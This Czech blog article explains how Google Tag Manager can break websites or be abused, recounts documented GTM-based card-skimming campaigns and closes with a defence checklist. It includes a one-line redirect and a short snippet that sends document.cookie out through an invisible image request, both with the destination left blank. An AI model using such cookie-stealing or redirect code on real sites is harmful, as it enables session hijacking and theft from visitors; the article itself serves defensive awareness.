Google Tag Manager je na více než 30 milionech webů. Je to jeden z nejrozšířenějších nástrojů pro správu měřicích a marketingových skriptů. Markeťáci ho milují — tag přidáte za 2 minuty, bez vývojáře, bez deploye.
Jenže GTM je ve své podstatě script injector s grafickým rozhraním.
Co to znamená?
Každý, kdo má právo publikovat v kontejneru, může na web vložit libovolný JavaScript. Bez kontroly kódu. A prohlížeč návštěvníka ho poslušně spustí.
Tohle není teoretické riziko. Za svou kariéru analytika jsem viděl lecos — od rozbitého měření, nefunkčního webu po reálné bezpečnostní incidenty. Tenhle článek ukazuje, co všechno se může stát. A jak tomu předejít.
Nedbalost — jak rozbít web omylem
Problémy s GTM typicky nevzniknou útokem. Vzniknou tím, že někdo přidá tag a neotestuje ho pořádně. Nebo nedomyslí všechny možnosti.
Takových problémů je několik typů.
JavaScript konflikty
GTM tagy běží ve stejném kontextu jako zbytek stránky. Snadno tak vývojářům můžete přepsat jejich vyladěnou stránku. Typické problémy:
- Skript přepíše globální proměnnou nebo prototyp, na kterém závisí jiný kód na stránce
- Tag volá
stopPropagation()nebopreventDefault()a zablokuje eventy pro ostatní handlery - Těžký skript (heatmapa, session recording) blokuje hlavní vlákno a stránka přestane reagovat
- Tag modifikuje DOM elementy, se kterými pracuje framework stránky (React, Vue)
Pravidlo: každý nový tag otestujte na reálném webu — ne jen v GTM Preview mode, ale i v kontextu celého frameworku stránky.
Stačí jedna špatně nastavená podmínka triggeru a máte na webu nekonečnou smyčku.
Tichá ztráta dat
Tag přestane fungovat — vendor změní doménu svého skriptu, skript spadne na chybu, CSP ho zablokuje. Ale protože GTM tagy selhávají tiše (žádné chybové hlášení pro uživatele), nikdo si toho nevšimne. Zjistíte to za týdny, když se podíváte na data — a uvidíte díru, kterou nedoplníte.
Tohle je z pohledu byznysu nejdražší typ chyby. Rozhodujete na základě dat, která neexistují. A ani o tom nevíte.
Nekonečné cyklení
Představte si scénář: nastavíte tag pro měření JavaScript chyb. Tag se spustí při chybě. Jenže tag sám vyvolá chybu (třeba kvůli blokované doméně). Ta spustí tag znovu. A znovu. A znovu — dokud prohlížeč nezamrzne nebo nepadne celá záložka.
Převzetí mrtvé domény — příběh z praxe
Řešil jsem případ, kdy klient vložil do GTM skript od menší analytické platformy. Platforma po čase skončila a pustila svou doménu. Někdo doménu koupil a začal z ní servírovat vlastní škodlivé skripty.
Výsledek: GTM na klientově webu stále načítal tag odkazující na tu doménu. Prohlížeče návštěvníků si stáhly a spustily kód od útočníka — přes legitimní GTM kontejner, na legitimním webu.
Nikdo si toho nevšiml asi měsíc. Tag byl v kontejneru „odjakživa“, nikdo nevěděl, co přesně dělá, a nikdo nekontroloval, jestli ta platforma ještě existuje.
Po měsíci skript začal přesměrovávat web na úplně jinou doménu. A začala panika.
Poučení: Mrtvé tagy v GTM nejsou jen nepořádek. Jsou bezpečnostní riziko. Každý skript třetí strany je závislost — a závislosti umírají.
Úmysl — co může udělat někdo s přístupem do GTM
Všechno výše vzniklo nedbalostí. Teď se podíváme, co se stane, když někdo chce způsobit škodu. Stačí mu Publish právo v GTM kontejneru a Custom HTML tag.
Přesměrování návštěvníků
Nejjednodušší útok — jeden řádek JavaScriptu:
window.location.href = 'Všichni návštěvníci webu okamžitě skončí na útočníkově stránce. Phishing, malware download, cokoliv.
Úprava obsahu stránky
Útočník může injektovat do stránky libovolný HTML — obrázky, falešné formuláře, falešné platební brány. Návštěvník nepozná rozdíl, protože je pořád na legitimní doméně.
Krádež session a cookies
var img = document.createElement('img');
img.src = ''
+ encodeURIComponent(document.cookie);
document.body.appendChild(img);
Neviditelný obrázek odešle všechny cookies na útočníkův server. Pokud mezi nimi je session token, útočník se přihlásí jako administrátor webu — bez znalosti hesla.
Krádeže platebních údajů (Magecart)
Sofistikovanější varianta: útočník přes GTM vloží JavaScript, který na checkout stránce překryje reálný platební formulář falešným. Zákazník zadá číslo karty — data jdou útočníkovi i legitimní platební bráně. Zákazník nic nepozná. Obchodník nic nepozná. Banka to zjistí za měsíce.
Reálné útoky — ne teorie, praxe
Tohle nejsou hypotetické scénáře. Jsou to zdokumentované případy.
Magecart na Magento e-shopech (2025)
Bezpečnostní firma Sucuri objevila malware ukrytý v GTM kontejneru GTM-MLHK2N68 na Magento e-shopech. Payload byl uložený v databázové tabulce cms_block.content — Base64 enkódovaný JavaScript, který vypadal jako legitimní Google Analytics skript.
Ve skutečnosti fungoval jako škodlivý skript odcizující platební údaje. Zachytával data z checkout formulářů a posílal je útočníkům.
Čísla od Recorded Future: 165 000+ záznamů platebních karet spojených s GTM útoky skončilo na dark webu. 569 e-commerce domén infikováno škodlivými skripty šířenými přes GTM. Průměrná doba, než si obchodník všimne a problém opraví: více než 3 měsíce.
GrelosGTM kampaň (2020+)
Analytici Group-IB identifikovali organizovanou skupinu GrelosGTM. Útočníci injektovali do zdrojového kódu napadených webů odkaz na vlastní GTM kontejner (GTM-5SF293J). Ten načítal další stage payload z útočníkova serveru.
Útok byl z technického pohledu velmi elegantní – GTM kontejner je legitimní služba Google. Bezpečnostní nástroje ho standardně neblokují.
Únos kontejneru — maskování na více webech
Útočník ukradl GTM container ID legitimního webu a vložil ho na síť spamových domén. Výsledek: analytická data legitimního webu byla zkreslená falešným provozem, SEO poškozeno asociací s toxickými doménami a obsah webu scrapován.
Klient si toho všiml až díky varování „Container quality: Needs Attention“ v GTM rozhraní.
Obejití WAF a CSP přes GTM (Raxis)
Bezpečnostní firma Raxis demonstrovala útok kombinující XSS zranitelnost s GTM:
- Útočník najde XSS zranitelnost na webu
- Přes ni vloží odkaz na vlastní GTM kontejner s malicious Custom HTML tagem
- Payload žije na
googletagmanager.com— WAF ho nevidí jako hrozbu, CSP ho povolí (protože Google je na seznamu povolených) - Škodlivý kód se spustí v kontextu stránky — plný přístup ke cookies, session tokenům, DOM
Google to uznal jako „honorable mention“ v Bug Bounty programu. Opravit to nejde — je to záměrně. GTM je hostingová platforma pro JavaScript a Google ji provozuje záměrně.
Kdo má klíče od vašeho webu?
Po přečtení předchozích sekcí by měla být jasná jedna věc: kdo má Publish právo v GTM, má de facto root přístup k vašemu webu z pohledu toho, co vidí návštěvník.
GTM role a co znamenají
- Administrátor — plná kontrola, může přidat/odebrat lidi
- Publish — může publikovat změny na live web. To je ta kritická role.
- Approve — může schválit změny, ale ne publikovat (užitečné pro schvalovací proces)
- Edit — může měnit tagy, ale ne publikovat
- Read — jen čtení
Kde bývá problém
- Agentury a freelanceři — spolupráce skončila před rokem, přístup zůstal
- Odešlí zaměstnanci — markeťák odešel, nikdo neodebral jeho účet
- Vendor požadavky — „dejte nám přístup do GTM, nastavíme vám pixel“. Dáte jim Publish a zapomenete.
- Sdílené účty — jeden Google účet pro celý marketing. Kdo co publikoval? Nikdo neví.
Jednoduchý test
Otevřete GTM → Admin → User Management. Kolik lidí tam vidíte? Kolik z nich u vás ještě pracuje? Kolik z nich reálně potřebuje Publish právo?
Pokud odpověď na kteroukoli otázku je „nevím“ — máte problém.
Jak se bránit
1. Audit přístupů
Minimálně jednou za kvartál projděte seznam uživatelů v GTM. Odeberte neaktivní účty. Snižte oprávnění tam, kde Publish není potřeba.
2. Schvalovací proces
GTM podporuje Workspaces (i ve free verzi) a v placené verzi GTM 360 i formální režim schvalování. I bez 360 ale můžete nastavit interní pravidlo: žádný tag nejde live bez review druhé osoby. Ano, zpomalí to proces o hodiny. Ne, to není argument proti — je to argument pro.
3. Šablony místo Custom HTML
Custom HTML tag = libovolný JavaScript bez omezení. Šablony z Community Template Gallery běží v sandboxovaném prostředí s definovaným API (sendPixel, injectScript, setCookie). Omezte Custom HTML na minimum. Ideálně na nulu.
4. Verzování a pojmenování
GTM uchovává historii verzí. Pojmenujte každou verzi srozumitelně (ne „v47″, ale „Přidán Meta CAPI tag — schválil Pavel“). Při incidentu se díky tomu vrátíte k poslední funkční verzi za minuty.
5. Mrtvé tagy = mrtvé závislosti
Pravidelně procházejte kontejner. Pokud tag odkazuje na doménu, která neodpovídá nebo jejíž služba už neexistuje — smažte ho. Nejen pozastavte. Smažte.
6. Content Security Policy
HTTP hlavička, která prohlížeči říká, jaké skripty smí na stránce běžet. Je to technicky nejsilnější obrana — ale taky nejsložitější na správné nastavení v kombinaci s GTM. Podrobně v navazujícím článku (vyjde příští týden).
7. Monitoring
Sledujte historii změn GTM. Nastavte upozornění na nové verze kontejneru. Pokud máte CSP, sledujte violation reporty — ukáží vám, co se pokouší spustit a nemá povolení.
Vědecká poznámka
Je to jako dual-use problém — stejný výzkum, který vyvíjí vakcíny, může vytvořit biologickou zbraň. GTM je navržený pro správu měření. Ale v rukou útočníka je to script injector s důvěryhodnou adresou googletagmanager.com, kterou firewally i bezpečnostní politiky standardně povolují.
Závěr
GTM není nebezpečný sám o sobě. Nebezpečný je GTM bez dohledu — bez auditu přístupů, bez schvalovacího procesu, bez kontroly mrtvých tagů.
Praktický první krok: otevřete GTM → Admin → User Management. Podívejte se, kdo tam je. Kolik z těch lidí opravdu potřebuje právo publikovat kód na váš web?
Druhý krok: projděte Custom HTML tagy. Víte, co každý z nich dělá? Funguje ještě doména, ze které načítá skript?
A pokud chcete vědět, jak GTM a bezpečnostní politiku webu (Content Security Policy) smířit tak, aby měření fungovalo a web zůstal chráněný — čtěte navazující článek – vyjde příští týden.